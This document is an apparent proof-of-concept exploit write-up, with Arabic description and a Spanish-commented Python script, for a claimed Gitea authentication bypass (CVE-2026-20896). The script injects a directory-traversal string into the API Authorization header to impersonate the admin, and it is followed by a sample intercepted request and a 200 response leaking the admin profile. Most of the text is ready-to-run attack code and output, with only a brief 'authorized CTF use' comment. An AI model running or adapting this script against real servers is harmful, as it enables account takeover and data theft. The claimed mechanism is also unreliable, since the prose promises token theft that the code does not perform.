
استغلال PoC آلي لـ CVE-2026-20896، وهو تجاوز للمصادقة في Gitea عبر اجتياز الدليل في رأس تفويض API، مما يتيح سرقة الرموز الإدارية.
يقوم هذا البرنامج النصي بأتمتة استغلال الثغرة المنطقية في التحقق من مسارات واجهة برمجة التطبيقات الخاصة بـ Gitea، مما يسمح بإجبار الخادم على منح رمز إداري صالح من خلال هجوم تجاوز الدليل (Directory Traversal) في رأس التفويض.
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)
import requests
import sys
import argparse
def expone_bypass(target_ip, username):
print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
# URL del endpoint vulnerable de la API
url = f"http://{target_ip}/api/v1/user"
# Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
# El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
cabeceras = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
"Authorization": f"token {payload_token}",
"Accept": "application/json"
}
try:
# Enviamos la solicitud HTTP maliciosa
respuesta = requests.get(url, headers=cabeceras, timeout=10)
# Si el servidor responde con 200 OK, la evasión fue exitosa
if respuesta.status_code == 200:
print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
datos_usuario = respuesta.json()
print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
print(f"[+] Correo asociado: {datos_usuario.get('email')}")
print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
return True
else:
print(f"[-] El servidor respondió con código: {respuesta.status_code}")
print("[-] Intento de bypass rechazado o parcheado.")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error de conexión con el objetivo: {e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
args = parser.parse_args()
expone_bypass(args.target, args.user)
عند تنفيذ البرنامج النصي السابق، يمكننا اعتراض الطلب في الوكيل (Proxy) للتحقق من كيفية معالجة الخادم لمتجه الهجوم دون الحاجة إلى توقيع صالح:
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
استجابة الخادم (القابل للاستغلال):
يقوم الخادم بمعالجة المحتوى بسبب الفشل في تسوية سلسلة الرمز، ويعيد كائن JSON لملف المسؤول مع رمز 200 OK:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN
{
"id": 1,
"username": "admin",
"login": "admin",
"full_name": "Administrador del Sistema",
"email": "[email protected]",
"avatar_url": "http://192.168.0",
"is_admin": true,
"last_login": "2026-07-01T15:22:01Z"
}